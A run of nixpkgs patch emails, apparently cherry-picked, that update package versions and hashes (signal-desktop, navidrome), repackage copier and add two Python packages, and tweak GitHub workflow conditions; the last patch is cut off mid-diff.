From: phanirithvij <phanirithvij2000@gmail.com>
Date: Sat, 24 May 2025 11:15:42 +0530
Subject: [PATCH 0482/4511] rsshub: minor cleanup

Signed-off-by: phanirithvij <phanirithvij2000@gmail.com>
(cherry picked from commit 80a434df3193af314ba31c5ea592d122bdec6077)
---
 pkgs/by-name/rs/rsshub/package.nix | 11 +++++------
 1 file changed, 5 insertions(+), 6 deletions(-)

diff --git a/pkgs/by-name/rs/rsshub/package.nix b/pkgs/by-name/rs/rsshub/package.nix
index 82279ca1b697..159dee479fd0 100644
--- a/pkgs/by-name/rs/rsshub/package.nix
+++ b/pkgs/by-name/rs/rsshub/package.nix
@@ -7,6 +7,9 @@
   replaceVars,
   stdenv,
 }:
+let
+  pnpm = pnpm_9;
+in
 stdenv.mkDerivation (finalAttrs: {
   pname = "rsshub";
   version = "0-unstable-2025-05-31";
@@ -25,7 +28,7 @@ stdenv.mkDerivation (finalAttrs: {
     ./0002-fix-network-call.patch
   ];
 
-  pnpmDeps = pnpm_9.fetchDeps {
+  pnpmDeps = pnpm.fetchDeps {
     inherit (finalAttrs) pname version src;
     hash = "sha256-7qh6YZbIH/kHVssDZxHY7X8bytrnMcUq0MiJzWZYItc=";
   };
@@ -33,23 +36,19 @@ stdenv.mkDerivation (finalAttrs: {
   nativeBuildInputs = [
     makeBinaryWrapper
     nodejs
-    pnpm_9.configHook
+    pnpm.configHook
   ];
 
   buildPhase = ''
     runHook preBuild
-
     pnpm build
-
     runHook postBuild
   '';
 
   installPhase = ''
     runHook preInstall
-
     mkdir -p $out/bin $out/lib/rsshub
     cp -r lib node_modules assets api package.json tsconfig.json $out/lib/rsshub
-
     runHook postInstall
   '';
 

From 0d31ae24b83ea86f969c49de91a2e59ef9333f3d Mon Sep 17 00:00:00 2001
From: Marcin Serwin <marcin@serwin.dev>
Date: Sun, 1 Jun 2025 09:53:46 +0200
Subject: [PATCH 0483/4511] signal-desktop: 7.54.0 -> 7.56.0

Signed-off-by: Marcin Serwin <marcin@serwin.dev>
(cherry picked from commit 9b336fcc61a970432022f9abfbcb5c3e21bd045b)
---
 .../dont-strip-absolute-paths.patch           | 14 ++++++++++++++
 .../si/signal-desktop/libsignal-node.nix      | 19 ++++++++++---------
 pkgs/by-name/si/signal-desktop/package.nix    | 16 ++++++++--------
 pkgs/by-name/si/signal-desktop/ringrtc.nix    |  6 +++---
 .../si/signal-desktop/signal-sqlcipher.nix    |  4 ++--
 .../si/signal-desktop/webrtc-sources.json     |  4 ++--
 6 files changed, 39 insertions(+), 24 deletions(-)
 create mode 100644 pkgs/by-name/si/signal-desktop/dont-strip-absolute-paths.patch

diff --git a/pkgs/by-name/si/signal-desktop/dont-strip-absolute-paths.patch b/pkgs/by-name/si/signal-desktop/dont-strip-absolute-paths.patch
new file mode 100644
index 000000000000..103ee8af45b6
--- /dev/null
+++ b/pkgs/by-name/si/signal-desktop/dont-strip-absolute-paths.patch
@@ -0,0 +1,14 @@
+diff --git a/node/build_node_bridge.py b/node/build_node_bridge.py
+index c983fc3..2ab06dc 100755
+--- a/node/build_node_bridge.py
++++ b/node/build_node_bridge.py
+@@ -138,9 +138,6 @@ def main(args: Optional[List[str]] = None) -> int:
+     cargo_env['CARGO_PROFILE_RELEASE_LTO'] = 'thin'
+     # Enable ARMv8 cryptography acceleration when available
+     cargo_env['RUSTFLAGS'] += ' --cfg aes_armv8'
+-    # Strip absolute paths
+-    for path in build_helpers.rust_paths_to_remap():
+-        cargo_env['RUSTFLAGS'] += f' --remap-path-prefix {path}='
+ 
+     # If set (below), will post-process the build library using this instead of just `cp`-ing it.
+     objcopy = None
diff --git a/pkgs/by-name/si/signal-desktop/libsignal-node.nix b/pkgs/by-name/si/signal-desktop/libsignal-node.nix
index 00bfe375f805..3d2aee9a4498 100644
--- a/pkgs/by-name/si/signal-desktop/libsignal-node.nix
+++ b/pkgs/by-name/si/signal-desktop/libsignal-node.nix
@@ -24,23 +24,23 @@ let
 in
 rustPlatform.buildRustPackage (finalAttrs: {
   pname = "libsignal-node";
-  version = "0.70.0";
+  version = "0.72.1";
 
   src = fetchFromGitHub {
     owner = "signalapp";
     repo = "libsignal";
     tag = "v${finalAttrs.version}";
-    hash = "sha256-6CBhLvD0UflLzJHAMB21wSH8MWTUNx0uPdqOUo/Eq44=";
+    hash = "sha256-A8EAHHcBFSD4ZlvFig64g4+eoZQCuqE/qv509hA3I4s=";
   };
   useFetchCargoVendor = true;
-  cargoHash = "sha256-4bSPPf16nUQTl6INa3mLhPIe8iiFfpPw1E5fpNvnKqs=";
+  cargoHash = "sha256-+vJrywIi/RcGGGns42XlN6S63RBil3fB4XByTLsaFVc=";
 
   npmRoot = "node";
   npmDeps = fetchNpmDeps {
     name = "${finalAttrs.pname}-npm-deps";
     inherit (finalAttrs) version src;
     sourceRoot = "${finalAttrs.src.name}/${finalAttrs.npmRoot}";
-    hash = "sha256-djk+YGZ/eUq6MXjUEE47bgKnQlUSuaoUPx8hUMtjvyQ=";
+    hash = "sha256-ZD0ZN2b7KReGbnvarqvGpOlQ5TsJfnaHmmOWQ42Y48E=";
   };
 
   nativeBuildInputs = [
@@ -56,9 +56,12 @@ rustPlatform.buildRustPackage (finalAttrs: {
   env.BORING_BSSL_PATH = "${boringssl-wrapper}";
   env.NIX_LDFLAGS = if stdenv.hostPlatform.isDarwin then "-lc++" else "-lstdc++";
 
-  patchPhase = ''
-    runHook prePatch
-
+  patches = [
+    # This is used to strip absolute paths of dependencies to avoid leaking info about build machine. Nix builders
+    # already solve this problem by chrooting os this is not needed.
+    ./dont-strip-absolute-paths.patch
+  ];
+  postPatch = ''
     substituteInPlace node/binding.gyp \
       --replace-fail "'--out-dir', '<(PRODUCT_DIR)/'," \
                      "'--out-dir', '$out/lib/<(NODE_OS_NAME)-<(target_arch)/'," \
@@ -68,8 +71,6 @@ rustPlatform.buildRustPackage (finalAttrs: {
     substituteInPlace node/build_node_bridge.py \
       --replace-fail "dst_base = 'libsignal_client_%s_%s' % (node_os_name, node_arch)" \
                      "dst_base = '@signalapp+libsignal-client'"
-
-    runHook postPatch
   '';
 
   buildPhase = ''
diff --git a/pkgs/by-name/si/signal-desktop/package.nix b/pkgs/by-name/si/signal-desktop/package.nix
index 8cbe760f89e5..10c160447c3e 100644
--- a/pkgs/by-name/si/signal-desktop/package.nix
+++ b/pkgs/by-name/si/signal-desktop/package.nix
@@ -3,7 +3,7 @@
   lib,
   nodejs_22,
   pnpm_10,
-  electron_35,
+  electron_36,
   python3,
   makeWrapper,
   callPackage,
@@ -19,7 +19,7 @@
 let
   nodejs = nodejs_22;
   pnpm = pnpm_10.override { inherit nodejs; };
-  electron = electron_35;
+  electron = electron_36;
 
   libsignal-node = callPackage ./libsignal-node.nix { inherit nodejs; };
   signal-sqlcipher = callPackage ./signal-sqlcipher.nix { inherit pnpm nodejs; };
@@ -48,13 +48,13 @@ let
     '';
   });
 
-  version = "7.54.0";
+  version = "7.56.0";
 
   src = fetchFromGitHub {
     owner = "signalapp";
     repo = "Signal-Desktop";
     tag = "v${version}";
-    hash = "sha256-dv1Yi7gSd7kY3MSrsPjcaf2hAEq6Y+XoWtlBfvd86ac=";
+    hash = "sha256-BrgBlDEgb08oX7Mh/P4nuoM+dkSDpB45zOtDNMYeZr0=";
   };
 
   sticker-creator = stdenv.mkDerivation (finalAttrs: {
@@ -64,7 +64,7 @@ let
 
     pnpmDeps = pnpm.fetchDeps {
       inherit (finalAttrs) pname src version;
-      hash = "sha256-TuPyRVNFIlR0A4YHMpQsQ6m+lm2fsp79FzQ1P5qqjIc=";
+      hash = "sha256-cT7Ixl/V/mesPHvJUsG63Y/wXwKjbjkjdjP3S7uEOa0=";
     };
 
     strictDeps = true;
@@ -116,15 +116,15 @@ stdenv.mkDerivation (finalAttrs: {
       ;
     hash =
       if withAppleEmojis then
-        "sha256-Kdg0+kLEDFobWEEhJgKuaou/pYwn1dTugye7OcMYfEQ="
+        "sha256-RP3d1t4bbvehdCDSL3bHrlJEnn65TDViI5jVjSiuJw8="
       else
-        "sha256-cit/Hn7L6qmfIJCDF2wlx/4aKygRYy+zvBQGX6Mg+og=";
+        "sha256-KJvc+kVcwRKsUVW3lK7fPXUSqDQlJFPbYAzQjhFtfoU=";
   };
 
   env = {
     ELECTRON_SKIP_BINARY_DOWNLOAD = "1";
     SIGNAL_ENV = "production";
-    SOURCE_DATE_EPOCH = 1747170390;
+    SOURCE_DATE_EPOCH = 1748456277;
   };
 
   preBuild = ''
diff --git a/pkgs/by-name/si/signal-desktop/ringrtc.nix b/pkgs/by-name/si/signal-desktop/ringrtc.nix
index 9c2cb97be71c..b62e9dca2c66 100644
--- a/pkgs/by-name/si/signal-desktop/ringrtc.nix
+++ b/pkgs/by-name/si/signal-desktop/ringrtc.nix
@@ -20,16 +20,16 @@ let
 in
 rustPlatform.buildRustPackage (finalAttrs: {
   pname = "ringrtc";
-  version = "2.51.0";
+  version = "2.52.0";
 
   src = fetchFromGitHub {
     owner = "signalapp";
     repo = "ringrtc";
     tag = "v${finalAttrs.version}";
-    hash = "sha256-PLrGLW6pDoCNpbWASxAqockAJRoeBrkBdxNOHYrQu4s=";
+    hash = "sha256-Ao1mFJYPnV3lfg4SERwq4dGnBhOVI9pwsqPAsUtV/iY=";
   };
   useFetchCargoVendor = true;
-  cargoHash = "sha256-u38VOV2xdNG1WFox+SWT9ejJD1TjK0yAI6lCB9r75iY=";
+  cargoHash = "sha256-mO9t4ZDDM5Y9cMkmdrYrdGYukN1xfGogPSNq+S1t4Us=";
 
   cargoBuildFlags = [
     "-p"
diff --git a/pkgs/by-name/si/signal-desktop/signal-sqlcipher.nix b/pkgs/by-name/si/signal-desktop/signal-sqlcipher.nix
index 225876e18e7c..6f53f67100ca 100644
--- a/pkgs/by-name/si/signal-desktop/signal-sqlcipher.nix
+++ b/pkgs/by-name/si/signal-desktop/signal-sqlcipher.nix
@@ -11,13 +11,13 @@
 }:
 stdenv.mkDerivation (finalAttrs: {
   pname = "node-sqlcipher";
-  version = "2.0.1";
+  version = "2.0.3";
 
   src = fetchFromGitHub {
     owner = "signalapp";
     repo = "node-sqlcipher";
     tag = "v${finalAttrs.version}";
-    hash = "sha256-15t2HuEYdCxShK703/z3bb1VCgSNpziaK5+wM3TqSHg=";
+    hash = "sha256-H5/+XcXnINRL5BWItWx6YaPP46+k1xTbyfDqHPCRDXk=";
   };
 
   pnpmDeps = pnpm.fetchDeps {
diff --git a/pkgs/by-name/si/signal-desktop/webrtc-sources.json b/pkgs/by-name/si/signal-desktop/webrtc-sources.json
index 4e94f9df5248..7207ea4e2d9d 100644
--- a/pkgs/by-name/si/signal-desktop/webrtc-sources.json
+++ b/pkgs/by-name/si/signal-desktop/webrtc-sources.json
@@ -1,10 +1,10 @@
 {
     "src": {
         "args": {
-            "hash": "sha256-yomovlwRmrzsN+dvmUgOM6pzBTH41QuHQXnEJBhQglY=",
+            "hash": "sha256-AFMJmIo7O4fYrVWABciQphTxHQSj4CdfhluIIPpPWAw=",
             "owner": "signalapp",
             "repo": "webrtc",
-            "tag": "6998b"
+            "tag": "6998c"
         },
         "fetcher": "fetchFromGitHub"
     },

From f7a923cc165a728e877d17a40d90998b9e53bca5 Mon Sep 17 00:00:00 2001
From: Jairo Llopis <jairo@moduon.team>
Date: Tue, 12 Mar 2024 07:50:55 +0000
Subject: [PATCH 0484/4511] copier: convert to python package instead of
 application

(cherry picked from commit d85f21672d87dc5a323d88475c59a567a92cf081)
---
 pkgs/by-name/co/copier/package.nix            | 62 +-------------
 .../python-modules/copier/default.nix         | 82 +++++++++++++++++++
 pkgs/top-level/python-packages.nix            |  2 +
 3 files changed, 86 insertions(+), 60 deletions(-)
 create mode 100644 pkgs/development/python-modules/copier/default.nix

diff --git a/pkgs/by-name/co/copier/package.nix b/pkgs/by-name/co/copier/package.nix
index 80e24c2f99b1..2c63d67dcb76 100644
--- a/pkgs/by-name/co/copier/package.nix
+++ b/pkgs/by-name/co/copier/package.nix
@@ -1,62 +1,4 @@
 {
-  lib,
-  git,
-  python3,
-  fetchFromGitHub,
+  python3Packages,
 }:
-
-python3.pkgs.buildPythonApplication rec {
-  pname = "copier";
-  version = "9.6.0";
-  pyproject = true;
-
-  src = fetchFromGitHub {
-    owner = "copier-org";
-    repo = "copier";
-    tag = "v${version}";
-    # Conflict on APFS on darwin
-    postFetch = ''
-      rm $out/tests/demo/doc/ma*ana.txt
-    '';
-    hash = "sha256-mezmXrOvfqbZGZadNZklQZt/OEKqRYnwugNkZc88t6o=";
-  };
-
-  POETRY_DYNAMIC_VERSIONING_BYPASS = version;
-
-  build-system = with python3.pkgs; [
-    poetry-core
-    poetry-dynamic-versioning
-  ];
-
-  dependencies = with python3.pkgs; [
-    colorama
-    decorator
-    dunamai
-    funcy
-    iteration-utilities
-    jinja2
-    jinja2-ansible-filters
-    mkdocs-material
-    mkdocs-mermaid2-plugin
-    mkdocstrings
-    packaging
-    pathspec
-    plumbum
-    pydantic
-    pygments
-    pyyaml
-    pyyaml-include
-    questionary
-  ];
-
-  makeWrapperArgs = [ "--suffix PATH : ${lib.makeBinPath [ git ]}" ];
-
-  meta = {
-    description = "Library and command-line utility for rendering projects templates";
-    homepage = "https://copier.readthedocs.io";
-    changelog = "https://github.com/copier-org/copier/blob/v${version}/CHANGELOG.md";
-    license = lib.licenses.mit;
-    maintainers = with lib.maintainers; [ greg ];
-    mainProgram = "copier";
-  };
-}
+python3Packages.toPythonApplication python3Packages.copier
diff --git a/pkgs/development/python-modules/copier/default.nix b/pkgs/development/python-modules/copier/default.nix
new file mode 100644
index 000000000000..5a6bc6244477
--- /dev/null
+++ b/pkgs/development/python-modules/copier/default.nix
@@ -0,0 +1,82 @@
+{
+  buildPythonPackage,
+  colorama,
+  decorator,
+  dunamai,
+  fetchFromGitHub,
+  funcy,
+  git,
+  iteration-utilities,
+  jinja2,
+  jinja2-ansible-filters,
+  lib,
+  mkdocs-material,
+  mkdocs-mermaid2-plugin,
+  mkdocstrings,
+  packaging,
+  pathspec,
+  plumbum,
+  poetry-core,
+  poetry-dynamic-versioning,
+  pydantic,
+  pygments,
+  pyyaml,
+  pyyaml-include,
+  questionary,
+}:
+
+buildPythonPackage rec {
+  pname = "copier";
+  version = "9.6.0";
+  pyproject = true;
+
+  src = fetchFromGitHub {
+    owner = "copier-org";
+    repo = "copier";
+    tag = "v${version}";
+    # Conflict on APFS on darwin
+    postFetch = ''
+      rm $out/tests/demo/doc/ma*ana.txt
+    '';
+    hash = "sha256-mezmXrOvfqbZGZadNZklQZt/OEKqRYnwugNkZc88t6o=";
+  };
+
+  POETRY_DYNAMIC_VERSIONING_BYPASS = version;
+
+  build-system = [
+    poetry-core
+    poetry-dynamic-versioning
+  ];
+
+  dependencies = [
+    colorama
+    decorator
+    dunamai
+    funcy
+    iteration-utilities
+    jinja2
+    jinja2-ansible-filters
+    mkdocs-material
+    mkdocs-mermaid2-plugin
+    mkdocstrings
+    packaging
+    pathspec
+    plumbum
+    pydantic
+    pygments
+    pyyaml
+    pyyaml-include
+    questionary
+  ];
+
+  makeWrapperArgs = [ "--suffix PATH : ${lib.makeBinPath [ git ]}" ];
+
+  meta = {
+    description = "Library and command-line utility for rendering projects templates";
+    homepage = "https://copier.readthedocs.io";
+    changelog = "https://github.com/copier-org/copier/blob/v${version}/CHANGELOG.md";
+    license = lib.licenses.mit;
+    maintainers = with lib.maintainers; [ greg ];
+    mainProgram = "copier";
+  };
+}
diff --git a/pkgs/top-level/python-packages.nix b/pkgs/top-level/python-packages.nix
index e78c2ec7366d..1f183e538345 100644
--- a/pkgs/top-level/python-packages.nix
+++ b/pkgs/top-level/python-packages.nix
@@ -2859,6 +2859,8 @@ self: super: with self; {
 
   coordinates = callPackage ../development/python-modules/coordinates { };
 
+  copier = callPackage ../development/python-modules/copier { };
+
   copykitten = callPackage ../development/python-modules/copykitten { };
 
   coqpit = callPackage ../development/python-modules/coqpit { };

From cf8b634d9ea1ba03943d71b4fb6578b921e77d11 Mon Sep 17 00:00:00 2001
From: Jairo Llopis <jairo@moduon.team>
Date: Tue, 12 Mar 2024 07:51:43 +0000
Subject: [PATCH 0485/4511] python3Packages.corallium: init at 0.3.3

(cherry picked from commit c0b695e2551777f09253207afffeee52f4f24fc0)
---
 .../python-modules/corallium/default.nix      | 44 +++++++++++++++++++
 pkgs/top-level/python-packages.nix            |  2 +
 2 files changed, 46 insertions(+)
 create mode 100644 pkgs/development/python-modules/corallium/default.nix

diff --git a/pkgs/development/python-modules/corallium/default.nix b/pkgs/development/python-modules/corallium/default.nix
new file mode 100644
index 000000000000..ca85cdde1f6f
--- /dev/null
+++ b/pkgs/development/python-modules/corallium/default.nix
@@ -0,0 +1,44 @@
+{
+  beartype,
+  buildPythonPackage,
+  fetchFromGitHub,
+  lib,
+  poetry-core,
+  pydantic,
+  python,
+  rich,
+  tomli,
+}:
+buildPythonPackage rec {
+  pname = "corallium";
+  version = "0.3.3";
+  format = "pyproject";
+
+  src = fetchFromGitHub {
+    owner = "KyleKing";
+    repo = pname;
+    rev = version;
+    hash = "sha256-fZzm3o8EwegNG+sYn8lbPz60NMyA/OzGFUf/J/lbGbI=";
+  };
+
+  build-system = [
+    poetry-core
+  ];
+
+  dependencies =
+    [
+      beartype
+      pydantic
+      rich
+    ]
+    ++ lib.optionals (python.pythonOlder "3.11") [
+      tomli
+    ];
+
+  meta = with lib; {
+    description = "Shared functionality for calcipy-ecosystem";
+    homepage = "https://corallium.kyleking.me";
+    license = licenses.mit;
+    maintainers = with maintainers; [ yajo ];
+  };
+}
diff --git a/pkgs/top-level/python-packages.nix b/pkgs/top-level/python-packages.nix
index 1f183e538345..e88908e2eebd 100644
--- a/pkgs/top-level/python-packages.nix
+++ b/pkgs/top-level/python-packages.nix
@@ -2865,6 +2865,8 @@ self: super: with self; {
 
   coqpit = callPackage ../development/python-modules/coqpit { };
 
+  corallium = callPackage ../development/python-modules/corallium { };
+
   coreapi = callPackage ../development/python-modules/coreapi { };
 
   coredis = callPackage ../development/python-modules/coredis { };

From 0f39dd1becee384b9e83a6321e30aa861f9689ab Mon Sep 17 00:00:00 2001
From: Jairo Llopis <jairo@moduon.team>
Date: Tue, 12 Mar 2024 07:52:04 +0000
Subject: [PATCH 0486/4511] python3Packages.copier-template-tester: init at
 2.1.1

(cherry picked from commit 75150f354dfe7034e3fadfc2f830b9201a0fa31e)
---
 .../copier-template-tester/default.nix        | 38 +++++++++++++++++++
 pkgs/top-level/python-packages.nix            |  2 +
 2 files changed, 40 insertions(+)
 create mode 100644 pkgs/development/python-modules/copier-template-tester/default.nix

diff --git a/pkgs/development/python-modules/copier-template-tester/default.nix b/pkgs/development/python-modules/copier-template-tester/default.nix
new file mode 100644
index 000000000000..e03cf9700c8d
--- /dev/null
+++ b/pkgs/development/python-modules/copier-template-tester/default.nix
@@ -0,0 +1,38 @@
+{
+  buildPythonPackage,
+  copier,
+  corallium,
+  fetchFromGitHub,
+  lib,
+  poetry-core,
+  poetry-dynamic-versioning,
+}:
+buildPythonPackage rec {
+  pname = "copier-template-tester";
+  version = "2.1.1";
+  format = "pyproject";
+
+  src = fetchFromGitHub {
+    owner = "KyleKing";
+    repo = pname;
+    rev = version;
+    hash = "sha256-q1SNsy5CbBmGTGVejSN8P8BkdiasZjnW8BWMXOfSD1s=";
+  };
+
+  build-system = [
+    poetry-core
+    poetry-dynamic-versioning
+  ];
+
+  dependencies = [
+    copier
+    corallium
+  ];
+
+  meta = with lib; {
+    description = "ctt: CLI and pre-commit tool for testing copier";
+    homepage = "https://copier-template-tester.kyleking.me";
+    license = licenses.mit;
+    maintainers = with maintainers; [ yajo ];
+  };
+}
diff --git a/pkgs/top-level/python-packages.nix b/pkgs/top-level/python-packages.nix
index e88908e2eebd..ff243b8e3553 100644
--- a/pkgs/top-level/python-packages.nix
+++ b/pkgs/top-level/python-packages.nix
@@ -2861,6 +2861,8 @@ self: super: with self; {
 
   copier = callPackage ../development/python-modules/copier { };
 
+  copier-template-tester = callPackage ../development/python-modules/copier-template-tester { };
+
   copykitten = callPackage ../development/python-modules/copykitten { };
 
   coqpit = callPackage ../development/python-modules/coqpit { };

From 731f374fc254da61144a43785a283e1f2d3e3cd0 Mon Sep 17 00:00:00 2001
From: eV <8796196+evq@users.noreply.github.com>
Date: Wed, 28 May 2025 18:15:13 +0000
Subject: [PATCH 0487/4511] nixos/wyoming-satellite: fix override to use
 dependencies

(cherry picked from commit 7ca9f213611f4a2ee11baa55a1972336d25af6c0)
---
 nixos/modules/services/home-automation/wyoming/satellite.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/nixos/modules/services/home-automation/wyoming/satellite.nix b/nixos/modules/services/home-automation/wyoming/satellite.nix
index b0064569cc32..532129dc7552 100644
--- a/nixos/modules/services/home-automation/wyoming/satellite.nix
+++ b/nixos/modules/services/home-automation/wyoming/satellite.nix
@@ -23,8 +23,8 @@ let
     ;
 
   finalPackage = cfg.package.overridePythonAttrs (oldAttrs: {
-    propagatedBuildInputs =
-      oldAttrs.propagatedBuildInputs
+    dependencies =
+      oldAttrs.dependencies
       # for audio enhancements like auto-gain, noise suppression
       ++ cfg.package.optional-dependencies.webrtc
       # vad is currently optional, because it is broken on aarch64-linux

From af3b9726756c10eb9ea8c60345d2cffb98458f21 Mon Sep 17 00:00:00 2001
From: Wolfgang Walther <walther@technowledgy.de>
Date: Mon, 2 Jun 2025 20:32:44 +0200
Subject: [PATCH 0488/4511] workflows/codeowners: improve test-ability in forks

This allows to at least run basic codeowner stuff in forks.

(cherry picked from commit 48baebba5090892683f2bdd6095e907d674e7106)
---
 .github/workflows/codeowners-v2.yml | 8 +++-----
 1 file changed, 3 insertions(+), 5 deletions(-)

diff --git a/.github/workflows/codeowners-v2.yml b/.github/workflows/codeowners-v2.yml
index 5c6b0b8da4c6..c4b2f65981ba 100644
--- a/.github/workflows/codeowners-v2.yml
+++ b/.github/workflows/codeowners-v2.yml
@@ -45,7 +45,6 @@ jobs:
   check:
     name: Check
     runs-on: ubuntu-24.04-arm
-    if: github.repository_owner == 'NixOS'
     steps:
       - uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683 # v4.2.2
         with:
@@ -91,7 +90,6 @@ jobs:
   request:
     name: Request
     runs-on: ubuntu-24.04-arm
-    if: github.repository_owner == 'NixOS'
     steps:
       - uses: cachix/install-nix-action@526118121621777ccd86f79b04685a9319637641 # v31
 
@@ -101,6 +99,9 @@ jobs:
         with:
           path: trusted
 
+      - name: Build review request package
+        run: nix-build trusted/ci -A requestReviews
+
       - uses: actions/create-github-app-token@df432ceedc7162793a195dd1713ff69aefc7379e # v2.0.6
         if: vars.OWNER_APP_ID
         id: app-token
@@ -111,9 +112,6 @@ jobs:
           permission-members: read
           permission-pull-requests: write
 
-      - name: Build review request package
-        run: nix-build trusted/ci -A requestReviews
-
       - name: Request reviews
         if: steps.app-token.outputs.token
         env:

From ce311c48afc0aef945c2306dceb16f289621dab2 Mon Sep 17 00:00:00 2001
From: Wolfgang Walther <walther@technowledgy.de>
Date: Mon, 2 Jun 2025 20:33:47 +0200
Subject: [PATCH 0489/4511] workflows: condition steps with secrets on
 pull_request_target event

In a pull_request event, vars are available, but secrets are not. Thus
the steps will run, even though there is no secret to request those
tokens - they will fail.

The intent was, to skip them entirely in that case.

(cherry picked from commit 50f6d8d90946f9e6248de473795b768902240ab0)
---
 .github/workflows/codeowners-v2.yml | 4 ++--
 .github/workflows/reviewers.yml     | 2 +-
 2 files changed, 3 insertions(+), 3 deletions(-)

diff --git a/.github/workflows/codeowners-v2.yml b/.github/workflows/codeowners-v2.yml
index c4b2f65981ba..b7f875cce01b 100644
--- a/.github/workflows/codeowners-v2.yml
+++ b/.github/workflows/codeowners-v2.yml
@@ -67,7 +67,7 @@ jobs:
         run: nix-build trusted/ci -A codeownersValidator
 
       - uses: actions/create-github-app-token@df432ceedc7162793a195dd1713ff69aefc7379e # v2.0.6
-        if: vars.OWNER_RO_APP_ID
+        if: github.event_name == 'pull_request_target' && vars.OWNER_RO_APP_ID
         id: app-token
         with:
           app-id: ${{ vars.OWNER_RO_APP_ID }}
@@ -103,7 +103,7 @@ jobs:
         run: nix-build trusted/ci -A requestReviews
 
       - uses: actions/create-github-app-token@df432ceedc7162793a195dd1713ff69aefc7379e # v2.0.6
-        if: vars.OWNER_APP_ID
+        if: github.event_name == 'pull_request_target' && vars.OWNER_APP_ID
         id: app-token
         with:
           app-id: ${{ vars.OWNER_APP_ID }}
diff --git a/.github/workflows/reviewers.yml b/.github/workflows/reviewers.yml
index 884cd2b266a6..a859ac70acb1 100644
--- a/.github/workflows/reviewers.yml
+++ b/.github/workflows/reviewers.yml
@@ -44,7 +44,7 @@ jobs:
       # See ./codeowners-v2.yml, reuse the same App because we need the same permissions
       # Can't use the token received from permissions above, because it can't get enough permissions
       - uses: actions/create-github-app-token@df432ceedc7162793a195dd1713ff69aefc7379e # v2.0.6
-        if: vars.OWNER_APP_ID
+        if: github.event_name == 'pull_request_target' && vars.OWNER_APP_ID
         id: app-token
         with:
           app-id: ${{ vars.OWNER_APP_ID }}

From c8bf96a258f4f39adf9d4d35b5e5a1e9cf7473fe Mon Sep 17 00:00:00 2001
From: Wolfgang Walther <walther@technowledgy.de>
Date: Mon, 2 Jun 2025 20:46:55 +0200
Subject: [PATCH 0490/4511] workflows/eval: fix pull_request condition

I changed the name of the workflow last minute before merge and forgot
to adjust the path here.

(cherry picked from commit 58b557670474aa5d1eafeb4e83218fef0fd760a5)
---
 .github/workflows/eval.yml | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/.github/workflows/eval.yml b/.github/workflows/eval.yml
index 40a60bbfe025..473f974a024b 100644
--- a/.github/workflows/eval.yml
+++ b/.github/workflows/eval.yml
@@ -4,7 +4,7 @@ on:
   pull_request:
     paths:
       - .github/workflows/eval.yml
-      - .github/workflows/reviews.yml # needs eval results from the same event type
+      - .github/workflows/reviewers.yml # needs eval results from the same event type
   pull_request_target:
   push:
     # Keep this synced with ci/request-reviews/dev-branches.txt

From 6b0b4b74a9f7018c12fed66010b00f7ccd08a4ed Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Fri, 30 May 2025 22:39:55 +0000
Subject: [PATCH 0491/4511] navidrome: 0.55.2 -> 0.56.1

(cherry picked from commit ea722c21ddea9a1ba2f221d560fc1022aa215ba3)
---
 pkgs/by-name/na/navidrome/package.nix | 8 ++++----
 1 file changed, 4 insertions(+), 4 deletions(-)

diff --git a/pkgs/by-name/na/navidrome/package.nix b/pkgs/by-name/na/navidrome/package.nix
index 39d1396f83bd..67292a0d7738 100644
--- a/pkgs/by-name/na/navidrome/package.nix
+++ b/pkgs/by-name/na/navidrome/package.nix
@@ -18,23 +18,23 @@
 
 buildGo124Module rec {
   pname = "navidrome";
-  version = "0.55.2";
+  version = "0.56.1";
 
   src = fetchFromGitHub {
     owner = "navidrome";
     repo = "navidrome";
     rev = "v${version}";
-    hash = "sha256-RJDWpaB0rdrwLSEjwLIZ7ymvYvFSX4/fIT3xFki3278=";
+    hash = "sha256-Vq8qfBqxF/PVRtYYTsFydnJ7z/IuoNUWRWTLy/RM6xg=";
   };
 
-  vendorHash = "sha256-stdYTvYwsu00l5sAW86nBlwnACOfyLbKi7Xn5gdM/7Y=";
+  vendorHash = "sha256-E7Q3wxUd5JAwERBKD2NZaVyj1kszOxvxeDY0s/fEDfY=";
 
   npmRoot = "ui";
 
   npmDeps = fetchNpmDeps {
     inherit src;
     sourceRoot = "${src.name}/ui";
-    hash = "sha256-lM8637tcKc9iSPjXJPDZXFCGj7pShOXTC6X2iketg90=";
+    hash = "sha256-tl6unHz0E0v0ObrfTiE0vZwVSyVFmrLggNM5QsUGsvI=";
   };
 
   nativeBuildInputs = [

From e72161050b5d57a894c04049c13c6bc4baba23ae Mon Sep 17 00:00:00 2001
From: "dependabot[bot]" <49699333+dependabot[bot]@users.noreply.github.com>
Date: Mon, 2 Jun 2025 19:07:37 +0000
Subject: [PATCH 0492/4511] build(deps): bump cachix/install-nix-action from
 31.3.0 to 31.4.0

Bumps [cachix/install-nix-action](https://github.com/cachix/install-nix-action) from 31.3.0 to 31.4.0.
- [Release notes](https://github.com/cachix/install-nix-action/releases)
- [Changelog](https://github.com/cachix/install-nix-action/blob/master/RELEASE.md)
- [Commits](https://github.com/cachix/install-nix-action/compare/526118121621777ccd86f79b04685a9319637641...17fe5fb4a23ad6cbbe47d6b3f359611ad276644c)

---
updated-dependencies:
- dependency-name: cachix/install-nix-action
  dependency-version: 31.4.0
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
(cherry picked from commit cd63aeda59e78c22045be783ddfa3d83d46e958c)
---
 .github/workflows/check-format.yml      | 2 +-
 .github/workflows/check-shell.yml       | 2 +-
 .github/workflows/codeowners-v2.yml     | 4 ++--
 .github/workflows/eval-aliases.yml      | 2 +-
 .github/workflows/eval.yml              | 4 ++--
 .github/workflows/lib-tests.yml         | 2 +-
 .github/workflows/manual-nixos-v2.yml   | 2 +-
 .github/workflows/manual-nixpkgs-v2.yml | 2 +-
 .github/workflows/nix-parse-v2.yml      | 2 +-
 .github/workflows/nixpkgs-vet.yml       | 2 +-
 .github/workflows/reviewers.yml         | 2 +-
 11 files changed, 13 insertions(+), 13 deletions(-)

diff --git a/.github/workflows/check-format.yml b/.github/workflows/check-format.yml
index 0d2ed9d0b967..616d8e574592 100644
--- a/.github/workflows/check-format.yml
+++ b/.github/workflows/check-format.yml
@@ -25,7 +25,7 @@ jobs:
         with:
           merged-as-untrusted: true
 
